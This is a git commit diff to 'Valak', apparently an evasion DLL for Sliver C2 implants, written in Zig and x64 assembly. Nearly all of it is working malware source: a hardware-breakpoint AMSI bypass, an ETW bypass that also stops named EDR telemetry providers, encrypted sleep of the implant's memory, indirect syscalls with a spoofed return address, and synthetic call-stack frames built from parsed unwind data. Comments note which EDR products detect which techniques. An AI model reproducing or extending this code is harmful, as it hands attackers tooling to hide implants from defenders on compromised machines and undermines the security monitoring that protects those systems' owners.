Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.

This commit is contained in:
2026-07-18 09:30:00 +01:00
parent fe2726a430
commit 7ecc30f1cd
24 changed files with 727 additions and 466 deletions
+9 -11
View File
@@ -1,4 +1,5 @@
// AMSI bypass — VEH backed hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll.
// AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler
// sets RAX=0 and skips the call. No bytes modified in amsi.dll.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
@@ -6,15 +7,14 @@ const api = @import("api.zig");
var g_veh_handle: ?*anyopaque = null;
var g_amsi_scan_addr: ?*anyopaque = null;
// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
{
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
ex.ContextRecord.Rax = 0;
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller
ex.ContextRecord.Rsp += 8; // pop return address
ex.ContextRecord.Rip = ret_addr;
ex.ContextRecord.Rsp += 8;
return win.EXCEPTION_CONTINUE_EXECUTION;
}
return win.EXCEPTION_CONTINUE_SEARCH;
@@ -34,20 +34,19 @@ pub fn patch_amsi() void {
if (amsi == null) return;
g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
if (g_amsi_scan_addr == null) return;
g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain
g_veh_handle = veh(1, amsi_veh_handler);
const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address
ctx.Dr7 = (1 << 0); // enable DR0 locally
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?);
ctx.Dr7 = (1 << 0);
_ = suspend_thread(thread);
_ = set_ctx(thread, &ctx);
_ = resume_thread(thread);
}
// Undo AMSI bypass remove VEH handler, clear DR0/DR7 hardware breakpoint.
// Undo AMSI bypass, remove VEH handler and clear DR0/DR7.
pub fn unpatch_amsi() void {
// Remove the VEH handler
if (g_veh_handle) |h| {
if (api.amsi_remove_vectored_exception_handler) |remove| {
_ = remove(h);
@@ -55,7 +54,6 @@ pub fn unpatch_amsi() void {
g_veh_handle = null;
}
// Clear DR0/DR7 — best-effort, APIs null if ensure() didn't run
if (api.amsi_get_current_thread) |cur_thread| {
if (api.amsi_set_thread_context) |set_ctx| {
if (api.amsi_suspend_thread) |suspend_t| {
+16 -31
View File
@@ -1,10 +1,8 @@
// Global function-pointer table ??? populated at runtime by ensure() via resolve.zig.
// Type aliases are in apitypes.zig (re-exported below so every ?T_* var declaration
// can reference the local type name).
// Global function-pointer table, populated by ensure() via resolve.zig.
// Type aliases in apitypes.zig.
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
const apitypes = @import("apitypes.zig");
pub const USTRING = apitypes.USTRING;
pub const T_exec_CreatePipe = apitypes.T_exec_CreatePipe;
pub const T_exec_CreateProcessA = apitypes.T_exec_CreateProcessA;
pub const T_exec_ReadFile = apitypes.T_exec_ReadFile;
@@ -39,9 +37,8 @@ pub const T_fiber_CreateFiber = apitypes.T_fiber_CreateFiber;
pub const T_fiber_SwitchToFiber = apitypes.T_fiber_SwitchToFiber;
pub const T_fiber_DeleteFiber = apitypes.T_fiber_DeleteFiber;
pub const T_fiber_ConvertFiberToThread = apitypes.T_fiber_ConvertFiberToThread;
pub const T_sleep_SystemFunction032 = apitypes.T_sleep_SystemFunction032;
pub const T_sleep_VirtualQuery = apitypes.T_sleep_VirtualQuery;
pub const T_sleep_VirtualProtect = apitypes.T_sleep_VirtualProtect;
pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040;
pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041;
pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA;
pub const T_comms_WinHttpOpen = apitypes.T_comms_WinHttpOpen;
pub const T_comms_WinHttpConnect = apitypes.T_comms_WinHttpConnect;
@@ -99,7 +96,7 @@ pub const get_func_by_hash = apitypes.get_func_by_hash;
pub const NT_SUCCESS = apitypes.NT_SUCCESS;
pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO;
// Global function-pointer variables populated by ensure() below
// Global function-pointer variables, populated by ensure() below.
pub var exec_create_pipe: ?T_exec_CreatePipe = null;
pub var exec_create_process_a: ?T_exec_CreateProcessA = null;
@@ -138,9 +135,8 @@ pub var fiber_SwitchToFiber: ?T_fiber_SwitchToFiber = null;
pub var fiber_DeleteFiber: ?T_fiber_DeleteFiber = null;
pub var fiber_ConvertFiberToThread: ?T_fiber_ConvertFiberToThread = null;
pub var sleep_SystemFunction032: ?T_sleep_SystemFunction032 = null;
pub var sleep_VirtualQuery: ?T_sleep_VirtualQuery = null;
pub var sleep_VirtualProtect: ?T_sleep_VirtualProtect = null;
pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
pub var comms_winhttp_open: ?T_comms_WinHttpOpen = null;
@@ -194,7 +190,7 @@ pub var etw_get_module_handle_w: ?T_etw_GetModuleHandleW = null;
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
pub var etw_virtual_protect: ?T_etw_VirtualProtect = null;
// HWBP reuses AMSI's VEH/thread APIs ??? same AddVectoredExceptionHandler under the hood
// HWBP reuses AMSI's VEH/thread APIs.
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
@@ -392,12 +388,6 @@ pub fn ensure() void {
}
}
if (sleep_VirtualQuery == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualQuery"))) |p| {
sleep_VirtualQuery = @ptrCast(p);
}
}
if (amsi_load_library_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
}
@@ -422,14 +412,6 @@ pub fn ensure() void {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualFree"))) |p| bof_virtual_free = @ptrCast(p);
}
if (bof_virtual_protect == null or sleep_VirtualProtect == null or etw_virtual_protect == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualProtect"))) |p| {
if (bof_virtual_protect == null) bof_virtual_protect = @ptrCast(p);
if (sleep_VirtualProtect == null) sleep_VirtualProtect = @ptrCast(p);
if (etw_virtual_protect == null) etw_virtual_protect = @ptrCast(p);
}
}
if (amsi_add_vectored_exception_handler == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
}
@@ -449,7 +431,7 @@ pub fn ensure() void {
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
}
// HWBP globals ??? same APIs as AMSI, shared
// HWBP globals, same APIs as AMSI.
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;
@@ -457,8 +439,11 @@ pub fn ensure() void {
if (info_rtl_get_version == null) {
if (resolve.resolve_api(ntdll_hash, hash_ror13("RtlGetVersion"))) |p| info_rtl_get_version = @ptrCast(p);
}
if (sleep_SystemFunction032 == null) {
if (resolve.resolve_api(ntdll_hash, hash_ror13("SystemFunction032"))) |p| sleep_SystemFunction032 = @ptrCast(p);
if (sleep_SystemFunction040 == null) {
const advapi_hash = hash_ror13("advapi32.dll");
_ = resolve.get_module_by_hash(advapi_hash);
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
}
if (comms_load_library_a != null and (comms_winhttp_open == null or comms_winhttp_connect == null or comms_winhttp_open_request == null or comms_winhttp_send_request == null or comms_winhttp_receive_response == null or comms_winhttp_read_data == null or comms_winhttp_websocket_complete_upgrade == null)) {
@@ -479,7 +464,7 @@ pub fn ensure() void {
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketClose"))) |p| comms_winhttp_websocket_close = @ptrCast(p);
}
// 2i continued. advapi32 ??? LookupPrivilegeValueW, AdjustTokenPrivileges
// advapi32, LookupPrivilegeValueW, AdjustTokenPrivileges
const advapi_hash = hash_ror13("advapi32.dll");
if (priv_get_current_process == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcess"))) |p| priv_get_current_process = @ptrCast(p);
@@ -510,4 +495,4 @@ pub fn ensure() void {
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDeriveKey"))) |p| crypto_bcrypt_derive_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroySecret"))) |p| crypto_bcrypt_destroy_secret = @ptrCast(p);
}
}
}
+3 -9
View File
@@ -47,14 +47,8 @@ pub const T_fiber_SwitchToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) v
pub const T_fiber_DeleteFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
pub const T_fiber_ConvertFiberToThread = *const fn () callconv(win.WINAPI) win.BOOL;
pub const USTRING = extern struct {
Length: win.ULONG,
MaximumLength: win.ULONG,
Buffer: [*]u8,
};
pub const T_sleep_SystemFunction032 = *const fn (*USTRING, *USTRING) callconv(win.WINAPI) win.NTSTATUS;
pub const T_sleep_VirtualQuery = *const fn (?*const anyopaque, *win.MEMORY_BASIC_INFORMATION, win.SIZE_T) callconv(win.WINAPI) win.SIZE_T;
pub const T_sleep_VirtualProtect = *const fn (?*anyopaque, win.SIZE_T, win.DWORD, *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
pub const T_comms_WinHttpOpen = *const fn (pwszUserAgent: win.LPCWSTR, dwAccessType: win.DWORD, pwszProxyName: ?win.LPCWSTR, pwszProxyBypass: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
@@ -110,4 +104,4 @@ pub const T_etw_VirtualProtect = *const fn (lpAddress: ?*anyopaque, dwSize: win.
pub const T_priv_LookupPrivilegeValueW = *const fn (lpSystemName: ?win.LPCWSTR, lpName: win.LPCWSTR, lpLuid: *win.LUID) callconv(win.WINAPI) win.BOOL;
pub const T_priv_AdjustTokenPrivileges = *const fn (TokenHandle: win.HANDLE, DisableAllPrivileges: win.BOOL, NewState: ?*win.TOKEN_PRIVILEGES, BufferLength: win.DWORD, PreviousState: ?*win.TOKEN_PRIVILEGES, ReturnLength: ?win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_priv_GetCurrentProcess = *const fn () callconv(win.WINAPI) win.HANDLE;
pub const T_priv_GetCurrentProcess = *const fn () callconv(win.WINAPI) win.HANDLE;
+50 -15
View File
@@ -7,25 +7,61 @@
wMask: .long 0xDEADBEEF
qMask: .quad 0xDEADBEEFDEADBEEF
// Synthetic frame globals, set by frames.zig init_frames().
// Frames through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart.
.global qFakeRtlUserThreadStart
.global qFakeBaseThreadInitThunk
.global qRtlUserFrameSize
.global qBaseThreadFrameSize
qFakeRtlUserThreadStart: .quad 0
qFakeBaseThreadInitThunk: .quad 0
qRtlUserFrameSize: .quad 0
qBaseThreadFrameSize: .quad 0
.text
.global hells_gate
.global hell_descent
// Stack-spoofing trampoline for evasion_sleep.
// Captures entry RSP (pointing at return address to Go), zeros it so EDR stack walks
// terminate at this frame, then delegates to the Zig implementation.
// Returns to Go with the original return address restored.
// evasion_sleep trampoline. Pushes synthetic frames through the canonical
// Windows thread init chain: kernel32!BaseThreadInitThunk ntdll!RtlUserThreadStart.
// EDR stack walk sees legitimate thread state, not a gap.
.global evasion_sleep
.section .drectve
.ascii " -export:evasion_sleep"
.text
evasion_sleep:
mov r11, [rsp] // save return address to Go
mov qword ptr [rsp], 0 // zero it on the stack
sub rsp, 0x28 // shadow space + alignment
call evasion_sleep_inner // Zig: RC4 enc NtDelayExecution RC4 dec
add rsp, 0x28 // clean up shadow space
mov [rsp], r11 // restore return address
// Save Go return address. RSP points at it on entry.
mov r11, [rsp]
mov r10, rcx // save sleep duration (first arg from Go)
// Build BaseThreadInitThunk frame (calls RtlUserThreadStart).
mov rax, qword ptr [rip + qBaseThreadFrameSize]
sub rsp, rax
mov rcx, qword ptr [rip + qFakeRtlUserThreadStart]
add rcx, 0x14 // offset past BaseThreadInitThunk prologue
mov [rsp], rcx
// Build RtlUserThreadStart frame (chain termination).
mov rax, qword ptr [rip + qRtlUserFrameSize]
sub rsp, rax
mov qword ptr [rsp], 0 // end of chain
// Save desync RSP for teardown. Call Zig implementation.
mov rbp, rsp
mov rcx, r10 // restore sleep duration
sub rsp, 0x28 // shadow space + alignment
call evasion_sleep_inner
add rsp, 0x28
// Restore original stack: rewind through synthetic frames.
lea rsp, [rbp]
mov rax, qword ptr [rip + qRtlUserFrameSize]
add rsp, rax
mov rax, qword ptr [rip + qBaseThreadFrameSize]
add rsp, rax
// Restore Go return address and return.
mov [rsp], r11
ret
hells_gate:
@@ -38,9 +74,8 @@ hells_gate:
mov qword ptr [rip + qFakeReturnEnc], rax
ret
// Callstack spoof: push a standalone ret from ntdll .text before jmp to
// the syscall;ret gadget. The gadget's ret returns there → ntdll frame on kernel callstack.
// Ref: WithSecure CallStackSpoofer https://github.com/WithSecureLabs/CallStackSpoofer
// Push standalone ret from ntdll .text before jmp to syscall;ret gadget.
// The gadget's ret returns there so kernel callstack shows ntdll frames.
hell_descent:
mov r10, rcx
mov eax, dword ptr [rip + wSystemCallEnc]
@@ -48,7 +83,7 @@ hell_descent:
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
xor r11, qword ptr [rip + qMask]
mov rcx, r9 // save arg4 rcx free after mov r10,rcx
mov rcx, r9 // save arg4, rcx free after mov r10,rcx
mov r9, qword ptr [rip + qFakeReturnEnc]
xor r9, qword ptr [rip + qMask]
test r9, r9
@@ -56,4 +91,4 @@ hell_descent:
push r9
.Ldone:
mov r9, rcx // restore arg4
jmp r11
jmp r11
-2
View File
@@ -15,14 +15,12 @@ pub fn build(b: *std.Build) void {
.optimize = optimize,
.strip = strip,
.single_threaded = true,
.link_libc = true,
});
module.addAssemblyFile(b.path("arch/hells_gate.s"));
module.linkSystemLibrary("kernel32", .{});
module.linkSystemLibrary("ntdll", .{});
module.linkSystemLibrary("advapi32", .{});
module.linkSystemLibrary("user32", .{});
const lib = b.addLibrary(.{
.name = "valak",
+3 -35
View File
@@ -1,13 +1,6 @@
// ETW suppression — two-tier: NtTraceControl (best-effort) -> HWBP on EtwEventWrite.
// HWBP reference: https://github.com/FortisecValidation/Micro-Stager
// DbgMan, May 2026: "The Threat-Intelligence provider emits events from the kernel
// image (ntoskrnl.exe), not from user-mode code paths. Patching ntdll!EtwEventWrite
// does not affect TI provider emission." NtTraceControl may be blocked by EDR tamper
// protection. HWBP (tier 2) is the primary technique — no memory modification, single
// debug register, VEH handler skips the call. Still effective against ~65% of EDRs.
// RET patch on EtwEventWrite was REMOVED — memory integrity checks make it instant
// detection. Source: DbgMan, "CrowdStrike Falcon and SentinelOne deploy signature
// detection for the unhooking byte-sequence pattern."
// ETW bypass, hardware breakpoint on EtwEventWrite via VEH. No memory touched.
// NtTraceControl for known EDR provider GUIDs as best-effort tier. Kernel TI
// provider emits from ntoskrnl.exe, user-mode EtwEventWrite HWBP cannot stop it.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
@@ -18,13 +11,10 @@ var g_etw_patched: bool = false;
var g_etw_hwbp_veh: ?*anyopaque = null;
var g_etw_event_write_addr: ?*anyopaque = null;
// Vectored exception handler for the HWBP method. When EtwEventWrite is hit, the CPU
// raises a single-step exception. We skip the call by forwarding RIP past it.
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
{
// Skip EtwEventWrite: set RIP to return address on stack, pop it
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
ex.ContextRecord.Rip = ret_addr;
ex.ContextRecord.Rsp += 8;
@@ -33,8 +23,6 @@ fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
return win.EXCEPTION_CONTINUE_SEARCH;
}
// Installs a VEH + hardware breakpoint on EtwEventWrite. No memory is modified — the BP
// is in a debug register, the handler skips the call. EDRs can't see the patch.
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
const get_addr = api.etw_get_proc_address orelse return false;
var etw_write = get_addr(ntdll, "EtwEventWrite");
@@ -59,28 +47,17 @@ fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
return true;
}
// Known EDR ETW provider GUIDs. Stopping these silences telemetry from Windows Defender,
// MDE, and kernel-level process/syscall monitoring providers.
const edr_provider_guids = [_][16]u8{
// Microsoft-Windows-Threat-Intelligence ()
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
// Microsoft-Windows-Kernel-Process
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
// Microsoft-Windows-Security-Mitigations
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
};
// Two-tier: NtTraceControl (best-effort, often blocked by EDR tamper protection) then
// hardware breakpoint on EtwEventWrite (primary — no memory modification, no .text integrity
// alert). Returns early if already patched.
pub fn patch_etw() void {
if (g_etw_patched) return;
api.ensure();
_ = syscall.init_syscall();
// Tier 1: NtTraceControl(control code 2 = EtwStopLoggerCode) for known EDR providers.
// Best-effort — EDRs with tamper protection (Defender, S1, CS) will block this.
// Ref: https://ntdoc.m417z.com/nttracecontrol
var stopped_any = false;
for (&edr_provider_guids) |*guid| {
var ret_len: win.ULONG = 0;
@@ -96,24 +73,15 @@ pub fn patch_etw() void {
}
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
// Tier 2: Hardware breakpoint bypass — no memory modification.
// Still effective against ~65% of EDRs as of mid-2026 per DbgMan.
// Next-gen EDRs audit debug register state. CrowdStrike and S1 detect this.
if (try_hwbp_etw_bypass(ntdll)) {
g_etw_patched = true;
return;
}
// No fallback RET patch — memory modification of ntdll exports = instant detection.
// Every major EDR monitors ntdll .text integrity per DbgMan, May 2026.
}
// Undo ETW bypass — remove HWBP VEH + clear debug registers.
pub fn unpatch_etw() void {
if (!g_etw_patched) return;
defer g_etw_patched = false;
// Remove HWBP VEH + clear debug registers
if (g_etw_hwbp_veh) |h| {
if (api.amsi_remove_vectored_exception_handler) |remove| {
_ = remove(h);
+182
View File
@@ -0,0 +1,182 @@
// Synthetic callstack frames through kernel32!BaseThreadInitThunk and
// ntdll!RtlUserThreadStart. Parses .pdata unwind codes to compute per-function
// frame sizes, asm trampoline pushes frames with correct offsets.
const std = @import("std");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");
extern var qFakeRtlUserThreadStart: usize;
extern var qFakeBaseThreadInitThunk: usize;
extern var qRtlUserFrameSize: usize;
extern var qBaseThreadFrameSize: usize;
const UWOP_PUSH_NONVOL: u8 = 0;
const UWOP_ALLOC_LARGE: u8 = 1;
const UWOP_ALLOC_SMALL: u8 = 2;
const UWOP_SET_FPREG: u8 = 3;
const UWOP_SAVE_NONVOL: u8 = 4;
const UWOP_SAVE_NONVOL_FAR: u8 = 5;
const UNW_FLAG_CHAININFO: u8 = 0x04;
const RBP_OP_INFO: u8 = 5;
fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) bool {
const info = @as(*align(1) const extern struct {
VersionAndFlags: u8,
SizeOfProlog: u8,
CountOfCodes: u8,
FrameRegister: u8,
FrameOffset: u8,
UnwindCode: [1]u16,
}, @ptrCast(mod_base + unwind_rva));
var idx: usize = 0;
var sz: usize = 0;
var rbp_pushed: bool = false;
while (idx < info.CountOfCodes) : (idx += 1) {
const code = info.UnwindCode[idx];
const op = @as(u8, @truncate(code & 0xF));
const info_field = @as(u8, @truncate((code >> 4) & 0xF));
switch (op) {
UWOP_PUSH_NONVOL => {
if (info_field == 2 and !rbp_pushed) return false;
if (info_field == RBP_OP_INFO) rbp_pushed = true;
sz += 8;
},
UWOP_ALLOC_SMALL => sz += 8 * (@as(usize, info_field) + 1),
UWOP_ALLOC_LARGE => {
idx += 1;
var frame_offset: usize = info.UnwindCode[idx];
if (info_field == 0) {
frame_offset *= 8;
} else {
idx += 1;
frame_offset += @as(usize, info.UnwindCode[idx]) << 16;
}
sz += frame_offset;
},
UWOP_SET_FPREG => {
rbp_pushed = true;
const fp_off: isize = -0x10 * @as(isize, @intCast(info.FrameOffset));
sz = @as(usize, @intCast(@as(isize, @intCast(sz)) + fp_off));
},
UWOP_SAVE_NONVOL => {
if (info_field == RBP_OP_INFO or info_field == 2) return false;
idx += 1;
},
UWOP_SAVE_NONVOL_FAR => {
if (info_field == RBP_OP_INFO or info_field == 2) return false;
idx += 2;
},
else => {},
}
}
// Chained unwind info
if ((info.VersionAndFlags & UNW_FLAG_CHAININFO) != 0) {
idx = info.CountOfCodes;
if ((idx & 1) != 0) idx += 1;
const chain_rva = @as(*align(1) const u32, @ptrCast(&info.UnwindCode[idx])).*;
var chain_sz: usize = 0;
_ = calc_frame_size(mod_base, chain_rva, &chain_sz);
sz += chain_sz;
}
out_size.* = sz + 8;
return true;
}
// Binary search .pdata for unwind entry covering the given RVA.
fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
const exc_begin = syscall.g_exc_begin;
const exc_count = syscall.g_exc_count;
if (exc_begin == 0 or exc_count == 0) return null;
const funcs = @as([*]align(1) const syscall.RUNTIME_FUNCTION, @ptrFromInt(exc_begin));
var lo: usize = 0;
var hi: usize = exc_count;
while (lo < hi) {
const mid = lo + (hi - lo) / 2;
const entry = funcs[mid];
if (target_rva < entry.BeginAddress) {
hi = mid;
} else if (target_rva >= entry.EndAddress) {
lo = mid + 1;
} else {
return .{ .begin = entry.BeginAddress, .unwind = entry.UnwindInfoAddress };
}
}
return null;
}
fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(mod)));
if (dos.e_magic != 0x5A4D) return null;
const nt = @as(*align(1) extern struct {
Signature: u32,
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
}, @ptrCast(@constCast(mod + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != 0x00004550) return null;
const exp_dir = nt.OptionalHeader.DataDirectory[0];
if (exp_dir.VirtualAddress == 0) return null;
const exp = @as(*align(1) extern struct {
Characteristics: u32,
TimeDateStamp: u32,
MajorVersion: u16,
MinorVersion: u16,
Name: u32,
Base: u32,
NumberOfFunctions: u32,
NumberOfNames: u32,
AddressOfFunctions: u32,
AddressOfNames: u32,
AddressOfNameOrdinals: u32,
}, @ptrCast(@constCast(mod + @as(usize, @intCast(exp_dir.VirtualAddress)))));
const names = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNames))))));
const funcs = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfFunctions))))));
const ords = @as([*]u16, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNameOrdinals))))));
var i: u32 = 0;
while (i < exp.NumberOfNames) : (i += 1) {
const n = @as([*:0]const u8, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(names[i]))))));
if (std.mem.eql(u8, std.mem.sliceTo(n, 0), name)) {
if (ords[i] < exp.NumberOfFunctions) {
return funcs[ords[i]];
}
}
}
return null;
}
pub fn init_frames() void {
if (qFakeRtlUserThreadStart != 0) return;
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
const k32 = resolve.get_module_by_hash(resolve.hash_ror13("kernel32.dll")) orelse return;
const ntdll_bytes = @as([*]const u8, @ptrCast(ntdll));
const k32_bytes = @as([*]const u8, @ptrCast(k32));
const btit_rva = export_rva(k32_bytes, "BaseThreadInitThunk") orelse return;
if (find_runtime_entry(btit_rva)) |entry| {
var fs: usize = 0;
if (calc_frame_size(k32_bytes, entry.unwind, &fs)) {
qFakeBaseThreadInitThunk = @intFromPtr(k32) + entry.begin;
qBaseThreadFrameSize = fs;
}
}
const rust_rva = export_rva(ntdll_bytes, "RtlUserThreadStart") orelse return;
if (find_runtime_entry(rust_rva)) |entry| {
var fs: usize = 0;
if (calc_frame_size(ntdll_bytes, entry.unwind, &fs)) {
qFakeRtlUserThreadStart = @intFromPtr(ntdll) + entry.begin;
qRtlUserFrameSize = fs;
}
}
}
+32 -16
View File
@@ -1,12 +1,10 @@
// Valak evasion DLL drop-in sleep obfuscation + AMSI/ETW bypass for any C2.
// Built for Sliver but protocol-agnostic. Exports are resolved at runtime by the
// Go bridge (go-bridge/valak.go) via reflective PE loading or direct DLL load.
// Reference: DbgMan "EDR Tradecraft" (May 2026), Windows x64 ABI.
// Valak evasion DLL, drop-in sleep obfuscation and AMSI/ETW bypass.
// Built for Sliver, protocol-agnostic. Exports resolved at runtime by Go bridge.
// Follows Windows x64 ABI.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
const syscall = @import("syscall.zig");
const frames = @import("frames.zig");
const amsi = @import("amsi.zig");
const etw = @import("etw.zig");
const stomp = @import("stomp.zig");
@@ -21,13 +19,25 @@ fn ensure() void {
g_initialized = true;
api.ensure();
_ = syscall.init_syscall();
frames.init_frames();
}
export fn init_evasion() void { ensure(); }
export fn init_evasion() void {
ensure();
}
export fn unhook_ntdll() void { ensure(); unhook.unhookNtdll(); }
export fn patch_etw() void { ensure(); etw.patch_etw(); }
export fn patch_amsi() void { ensure(); amsi.patch_amsi(); }
export fn unhook_ntdll() void {
ensure();
unhook.unhookNtdll();
}
export fn patch_etw() void {
ensure();
etw.patch_etw();
}
export fn patch_amsi() void {
ensure();
amsi.patch_amsi();
}
export fn stomp_evasion(base: ?*anyopaque) void {
ensure();
@@ -38,20 +48,26 @@ export fn is_relocated() bool {
return stomp.g_evasion_relocated;
}
// Tell the DLL where the host process's .text is so it can be encrypted during sleep.
// Tell the DLL where the host implant's .text is for encrypted sleep.
export fn init_text_region(base: [*]u8, size: usize) void {
sleep.init_go_text_region(base, size);
sleep.init_text_region(base, size);
}
// Called from the asm trampoline (arch/hells_gate.s) which captures entry RSP,
// zeros the return address for EDR stack walk termination, and restores on return.
// DllMain calls into here from the asm trampoline. Synthetic callstack frames
// through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart built before us.
export fn evasion_sleep_inner(ms: u32) void {
ensure();
sleep.evasion_sleep(ms);
}
export fn unpatch_amsi() void { ensure(); amsi.unpatch_amsi(); }
export fn unpatch_etw() void { ensure(); etw.unpatch_etw(); }
export fn unpatch_amsi() void {
ensure();
amsi.unpatch_amsi();
}
export fn unpatch_etw() void {
ensure();
etw.unpatch_etw();
}
export fn wipe_memory(base: [*]u8, size: usize) void {
@memset(base[0..size], 0);
+102
View File
@@ -0,0 +1,102 @@
pub const IMAGE_DOS_HEADER = extern struct {
e_magic: u16,
e_cblp: u16,
e_cp: u16,
e_crlc: u16,
e_cparhdr: u16,
e_minalloc: u16,
e_maxalloc: u16,
e_ss: u16,
e_sp: u16,
e_csum: u16,
e_ip: u16,
e_cs: u16,
e_lfarlc: u16,
e_ovno: u16,
e_res: [4]u16,
e_oemid: u16,
